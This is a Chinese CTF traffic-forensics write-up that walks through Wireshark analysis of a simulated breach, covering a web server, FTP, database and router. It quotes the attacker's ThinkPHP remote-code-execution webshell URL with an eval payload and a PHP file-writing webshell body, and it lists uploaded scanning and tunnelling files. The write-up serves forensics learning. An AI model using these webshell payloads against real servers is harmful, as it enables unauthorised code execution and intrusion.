【CTF-MISC】2018西普杯铁人三项数据赛
上周参加了西普杯铁人三项
大致记录一下数据赛流量分析的过程
0x01 基本信息
- 攻击者IP
首先Wireshark分析第一个数据包:
可以看到数据太多:
先http协议过滤一下,以便了解大致过程
很多无用的正常包
很显然看到202.1.1.2对192.168.1.99的请求有些异常
直接进行过滤:
http and ip.addr==202.1.1.2
or
http and ip.src==202.1.1.2
HTTP
很显然攻击者利用thinkPHP框架下的任意代码执行漏洞
攻击者:
IP:202.1.1.2
0x02 Webshell相关
- 服务器拿到的webshell的网址
- 网站根目录的绝对路径
- 攻击者上传的第一个文件名称是什么
服务器拿到的webshell的网址
从上面的攻击者的代码执行过程可以看到服务器拿到webshell的网址:
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}
网站根目录的绝对路径
接下来看一下攻击者执行的代码,base64解码后,发现其查询了phpinfo并写入了webshell:
追踪http流提取出phpinfo(保存成html文件后打开即可):
即可在phpinfo中即可看到网站根目录:
/var/www/html/easytalk
攻击者上传的第一个文件
追踪后面的http流并解码base64即可看到:
上传的第一个文件:scan.php
同时,可以看到其写入的webshell:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
其中有3个不同z1的值(写入了3个文件):
z1:/var/www/html/easytalk/scan.php
z1:/var/www/html/easytalk/tunnel.php
z1:/var/www/html/easytalk/tunnel.nosocket.php
分别从数据包中提取出z2以十六进制保存文件即可看到写入文件的具体信息,但好像比赛过程只用到了前面的scan.php:
scan.php
0x03 服务器信息
- 对方1.99服务器的cms种类及版本号
- 1.99服务器的主机名
- 扫描内网端口的端口范围
1.99的cms信息:
过滤:
http and ip.addr==192.168.1.99
查找返回信息中与其cms相关的信息:
其实从上面的写入的文件路径可以看出应该是easytalk
直接在过滤后搜索分组字节流的字符串就可以找到:
最后在第二个数据包中找到了答案:
easytalk
主机名:
因为上面提取过phpinfo,打开即有主机名信息:
主机名:simplefight1
端口扫描范围:
从scan.php的内容可以看出攻击者利用上传的scan.php来进行扫描
直接搜索列表信息字符串scan.php
追踪http流即可看到扫描端口范围(其实有两个,当时没仔细分析,毕竟有五次作答机会,最多两次就试出来了):
1
2
0x03 FTP相关
- 服务器2.88的ftp服务账号密码
- 黑客成功登陆ftp的时间
- 攻击者通过ftp协议下载的敏感文件及路径
ftp服务账号密码以及黑客成功登陆ftp的时间
在第二个数据包中
过滤ftp协议,发现攻击者不断尝试登陆建立ftp连接:
找到第一次成功建立连接的地方:
success
看到这里的用户名及密码:administrator/123456
并在数据包中看到其成功登录的时间:
time
攻击者成功登陆时间:14:07:15
攻击者通过ftp协议下载的敏感文件及路径
接下来直接过滤ftp协议即可看到攻击者不断猜解路径
并且最后找到:
/phpStudy/WWW/config/config_db.php
0x04 数据库相关
- 服务器2.88中用户名为admin_zz的web后台管理员的密码
- 服务器上数据库的用户名密码
- 攻击者查看的一些表的信息以及其设置的genreal log的绝对路径
admin_zz管理员的密码
(这题与数据库无关,只是按顺序夹在ftp和数据库之间,不知道往哪里放)
过滤:
http && ip.addr == 192.168.1.99
在分组详情中查找:admin_zz
在第三个数据包中发现:
admin_zz的密码为:1q2w3e4r
数据库的用户名密码
下面查看config_db.php的内容:
过滤协议:
ftp-data
在其中一个流量包中发现了config_db.php:
查看数据库配置配置信息:
可以看到数据库的用户名和密码:
localhost/S1mp13zz
其实也可以通过第四个数据包过滤mysql协议通过查看query语句找到相关信息,不过这里的密码是加密过的,无法获取信息:
mysql
攻击者查看的一些表的信息以及其设置的genreal log的绝对路径
这些信息询问的数据库、表以及设置genreal log的绝对路径等信息可以直接从过滤mysql后的这些数据包中的sql查询语句中得到,不再细说
0x05 路由器相关
- 路由器的品牌、型号、版本
- 路由器的所有IP地址
- 路由器的端口监控中的监控端口和被监控端口
- 路由器接口个数以及WAN口和LAN口个数
- 路由器的系统路由表的条数以及第三条的子网掩码
- 路由器的5Gwif名称和信道
路由器的品牌、型号、版本
过滤一下本地局域网(路由器常用界面):
http && ip.addr == 192.168.0.1
在第一个数据包中看到了答案:
可以看到路由器及其版本号为:TL-WAR1300L v1.0
路由器的所有IP地址
猜测接下来攻击者会获取路由信息
所以追踪后面的几条http流
发现几条数据:
{
"id": 1,
"result": {
"normal": [{
"py_isup": false,
"ipaddr": "",
"t_type": "ethernet",
"t_isup": "disconnect",
"t_name": "WAN1",
"t_linktype": "dhcp"
},{
"py_isup": false,
"ipaddr": "",
"t_type": "ethernet",
"t_isup": "disconnect",
"t_name": "WAN2",
"t_linktype": "dhcp"
},{
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN1",
"t_isup": "disconnect",
"t_linktype": "static"
}, {
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN2",
"t_isup": "disconnect",
"t_linktype": "static"
}, {
"py_isup": false,
"ipaddr": "",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN3",
"t_isup": "disconnect",
"t_linktype": "static"
}]
},
"error_code": "0"
}
可以看到这里有5个端口,WAN1,WAN2,LAN1,LAN2,LAN3都是关闭状态
继续追踪http流:
发现:
{
"id":1,
"result":{
"normal":[
{
"py_isup":true,
"ipaddr":"202.1.1.1",
"t_type":"ethernet",
"t_isup":"connect",
"t_name":"WAN1",
"t_linktype":"static"
},
{
"py_isup":true,
"ipaddr":"192.168.12.173",
"t_type":"ethernet",
"t_isup":"internet",
"t_name":"WAN2",
"t_linktype":"dhcp"
},
{
"py_isup":true,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN1",
"t_isup":"connect",
"t_linktype":"static"
},
{
"py_isup":true,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN2",
"t_isup":"connect",
"t_linktype":"static"
},
{
"py_isup":false,
"ipaddr":"192.168.0.1",
"dhcp_status":"on",
"t_type":"ethernet",
"t_name":"LAN3",
"t_isup":"disconnect",
"t_linktype":"static"
}
]
},
"error_code":"0"
}
这里就是路由器所有IP地址:
192.168.0.1,192.168.12.173,202.1.1.1
路由器的端口监控中的监控端口和被监控端口
过滤
http contains "port" && ip.addr == 192.168.0.1
发现一条记录:
不太懂这个数据,不过从json数据的英文可以看出:
应该是3号端口监控1,2端口
路由器接口个数以及WAN口和LAN口个数:
从上面第二次追踪的数据中可以看出,路由器最终有5个接口,并且开启了WAN1,WAN2,LAN1,LAN2
所以共有5个接口,其中2个WAN启用,两个LAN启用
路由器的系统路由表的条数以及第三条的子网掩码:
过滤协议:
ip.addr == 192.168.0.1 && http
而后在分组详情中中查找"gateway"
或者直接过滤:
http contains "gateway" && ip.addr==192.168.0.1
查找后看到一条数据:
很显然:
一共5条数据,且第三条的子网掩码为:255.255.252.0
路由器的5Gwif名称和信道:
直接查找与信道相关的http流
与查找"gateway"方法相同
分组详情查找"5G"(区分大小写),或者"channel"(信道)
在查找"5G"时发现:
可以看到:5Gwif名称为test-ge1,信道为:36
0x06 END
最后总成绩不错,决赛加油吧
附上比赛数据包:
https://drive.google.com/open?id=15GEJRUFv8WdxFCIvuuuOMAp8no8X7gjt